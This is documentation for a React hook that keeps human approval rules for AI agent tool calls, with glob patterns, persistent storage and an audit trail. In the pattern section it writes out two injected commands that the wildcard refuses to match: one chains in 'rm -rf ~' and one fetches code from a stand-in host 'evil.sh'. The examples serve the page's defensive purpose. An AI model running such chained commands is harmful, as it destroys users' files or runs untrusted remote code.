# useApprovalPolicy

> Approval rules: once, for the session or always, by tool and argument pattern, with storage and an audit trail.

Source: https://agent-ui-kit-demo.vercel.app/docs/components/use-approval-policy

## Installation

From npm:

```bash
npm i signoff-ui ai
```

```tsx
import { useApprovalPolicy, webStorageRules, setToolInput } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```

Or as source, with the shadcn CLI:

```bash
npx shadcn@latest add @signoff-ui/use-approval-policy
```

```tsx
import { useApprovalPolicy, webStorageRules } from '@/components/signoff-ui/use-approval-policy';
```

## Usage

```tsx
const storage = webStorageRules(); // once, outside the component

function Run() {
  const { messages, setMessages, addToolApprovalResponse } = useChat();
  const policy = useApprovalPolicy({ storage, onAudit: (event) => log(event) });
  return messages.map((m) => (
    <AgentMessage
      key={m.id}
      message={m}
      onToolApproval={addToolApprovalResponse}
      approvalPolicy={policy}
      onToolInputEdit={(id, input) => setMessages((all) => setToolInput(all, id, input))}
    />
  ));
}
```

## How it works

Approval rules: what a person decided once, applied to the calls that follow. A decision is `allow-once`, `allow-session`, `allow-always`, `deny-once` or `deny-always`. A session or always decision leaves a rule over the tool (`tool`, a name or a glob such as `mcp_github_*`), narrowed by argument patterns when given (`args: { command: 'npm test*' }`, with dotted names for nested arguments) or by a test of your own (`when`). When an allow rule and a deny rule both match a call, the deny rule wins.

**The patterns.** A pattern matches the whole argument. `*` matches any run of characters except shell operators: `;`, `&`, `|`, `` ` ``, `<`, `>`, `$(` and line breaks. So `npm test*` allows `npm test -- --watch`, but not `npm test && rm -rf ~` or `npm test $(curl evil.sh)`. `**` matches anything, operators included. `?` matches one character, and `\` makes the next one literal. Numbers and booleans match as text. Arrays, objects and missing arguments match no pattern.

**What it does.** `decide(request, decision, { reason, input, args })` records a person's decision, and the rule it leaves. `answer(request)` answers from the rules when one covers the call, recorded as decided by that rule. `match`, `addRule`, `removeRule` and `clearSession` work on the rules directly. `onAudit` receives every decision, with who made it (a person or a rule), the rule, the reason and any edited arguments, as well as every rule added or removed and every session cleared.

**Where rules are kept.** Session rules stay in memory until the page reloads or `clearSession()` runs. `always` rules go to `storage`: by default in memory, `webStorageRules()` for `localStorage`, or your own `{ load, save }`, which may be async. A rule's `when` is code, and is never saved. Rules are loaded after the first render, so a server render and the hydrating client agree. A call that arrives before they load is shown to a person.

**On the server.** The same rules, as AI SDK 7's `toolApproval`: `streamText({ toolApproval: toToolApproval(rules) })` approves or denies a call a rule covers, and asks a person about the rest. The SDK checks it again on an approved call before running it, with edited arguments too. Rules a client sends are the choices of the person using it, so apply them to that person's runs only. Keep rules that protect other people on the server.

**AG-UI and ACP.** With `useAgUiAgent`, an approval's resume payload is `{ approved, reason?, input? }`. For the Agent Client Protocol's `session/request_permission`:

- `decisionsFromAcpOptions(request.options)` gives the choices to offer.
- `toAcpPermissionResponse(decision, request.options)` answers with the option of the same kind (`allow_once`, `allow_always`, `reject_once`, `reject_always`).
- `fromAcpPermissionRequest(request)` turns the request into the card's.

ACP has no session option, so `allow-session` answers `allow_once` and leaves the session rule on the client. These helpers are types and functions only, with no ACP package to install.

## API reference

### useApprovalPolicy

Approval rules, held for the page: once, for the session or always, scoped by tool and by
argument patterns, deny winning over allow. Pass the policy to `ToolApprovalCard`, `AgentMessage`
or `ToolApprovalBatch`, and they offer the choices, answer what a rule already decides, and record
the rest. Persistence is pluggable: `always` rules go to `storage`, session rules stay in memory.

```ts
useApprovalPolicy({ rules: rulesProp, defaultRules, onRulesChange, storage: storageProp, onAudit, labels }?: UseApprovalPolicyOptions | undefined): ApprovalPolicy
```

Parameter, `UseApprovalPolicyOptions`:

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `rules` | `readonly ApprovalRule[]` |  | Controlled rules. |
| `defaultRules` | `readonly ApprovalRule[]` |  | Rules to start with, before any the storage loads. |
| `onRulesChange` | `(rules: ApprovalRule[]) => void` |  |  |
| `storage` | `ApprovalRuleStorage` |  | Where `always` rules are loaded from and saved to. Default: memory, for this page. |
| `onAudit` | `(event: ApprovalAuditEvent) => void` |  | Every decision, rule added or removed, and session cleared, as it happens. |
| `labels` | `SignoffLabelsInput` |  | Words to use instead of the English defaults: the reason a deny rule without one of its own sends (`labels.approvalPolicy.ruleDenial`). See `SignoffLabelsProvider`. |

Returns `ApprovalPolicy`:

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `rules` (required) | `readonly ApprovalRule[]` |  |  |
| `ready` (required) | `boolean` |  | The storage has loaded: after the first render, or once an async storage's promise settles. |
| `match` (required) | `(toolName: string, input: unknown) => RuleMatch \| undefined` |  | The rule that decides a call, if one does. |
| `decide` (required) | `(request: ApprovalRequest, decision: ApprovalDecision, options?: { reason?: string \| undefined; input?: unknown; args?: Record<string, string> \| undefined; }) => ApprovalOutcome` |  | Record a person's decision and the rule it leaves (for session and always decisions, over the call's `args` when given, else every call of the tool), and return it ready to send. |
| `answer` (required) | `(request: ApprovalRequest) => ApprovalOutcome \| undefined` |  | Answer a request from the rules, if one matches, recorded as decided by that rule. |
| `outcomeOf` (required) | `(id: string) => ApprovalOutcome \| undefined` |  | How an answered request was decided, by its id: by a person or by which rule. |
| `addRule` (required) | `(rule: ApprovalRule) => void` |  |  |
| `removeRule` (required) | `(id: string) => void` |  |  |
| `clearSession` (required) | `() => void` |  | Forget the session rules. |

### ApprovalRule

A standing decision about a tool's calls: allowed or denied, for the session or always.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` |  | Unique among the rules. |
| `tool` (required) | `string` |  | The tool's name, or a glob over names: `*` for every tool, `mcp_github_*` for a family. |
| `effect` (required) | `'allow' \| 'deny'` |  |  |
| `scope` (required) | `'session' \| 'always'` |  | `session`: until the page reloads or the session is cleared. `always`: kept by the storage. |
| `args` | `Readonly<Record<string, string>>` |  | Globs by argument name, which must all match: `{ command: 'npm test*' }`. A dotted name reads a nested argument (`'options.cwd'`). Absent: any arguments. |
| `when` | `(input: unknown) => boolean` |  | A test of your own on the input, on top of `args`. Code, so storage does not keep it. |
| `createdAt` | `number` |  | When it was made, in milliseconds since the epoch. |
| `reason` | `string` |  | Why it was made, e.g. the reason a person gave when denying. |

### ApprovalDecision

What a person can decide about a tool call, and for how long it holds.

```ts
type ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';
```

### ApprovalRequest

A tool call that needs a decision.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` |  | The id a response answers: AI SDK's `approval.id`, an AG-UI interrupt's id, or for ACP the tool call's id. |
| `toolName` (required) | `string` |  |  |
| `input` (required) | `unknown` |  |  |
| `toolCallId` | `string` |  |  |

### ApprovalOutcome

A decision, ready to send: `approved` and `reason` for the agent, the rest for your app.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` |  |  |
| `approved` (required) | `boolean` |  |  |
| `decision` (required) | `ApprovalDecision` ('allow-once' \| 'allow-session' \| 'allow-always' \| 'deny-once' \| 'deny-always') |  |  |
| `by` (required) | `'user' \| 'rule'` |  |  |
| `reason` | `string` |  |  |
| `input` | `unknown` |  | The arguments to run with, when the person edited them. |
| `rule` | `ApprovalRule` |  |  |

### ApprovalAuditEvent

Everything the policy did, for an audit trail.

```ts
type ApprovalAuditEvent = {
  type: 'decision';
  at: number;
  request: ApprovalRequest;
  decision: ApprovalDecision;
  /** A person decided, or one of the rules did. */
  by: 'user' | 'rule';
  /** The rule that decided, or the one this decision made. */
  rule?: ApprovalRule | undefined;
  reason?: string | undefined;
  /** The arguments as approved, when the person edited them. */
  input?: unknown;
} | {
  type: 'rule-added' | 'rule-removed';
  at: number;
  rule: ApprovalRule;
} | {
  type: 'session-cleared';
  at: number;
  rules: ApprovalRule[];
};
```

### ApprovalRuleStorage

Where `always` rules are kept between visits. Session rules are never saved.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `load` (required) | `() => readonly ApprovalRule[] \| PromiseLike<readonly ApprovalRule[]>` |  |  |
| `save` (required) | `(rules: readonly ApprovalRule[]) => void \| PromiseLike<void>` |  |  |

## Accessibility

- A hook with no markup of its own: `ApprovalCard`, `ToolApprovalCard` and `ToolApprovalBatch` carry the behavior on their pages.
- A call a rule decides is answered without a prompt that would take focus, and reads "Allowed by your rule" or "Denied by your rule" with the rule in words.
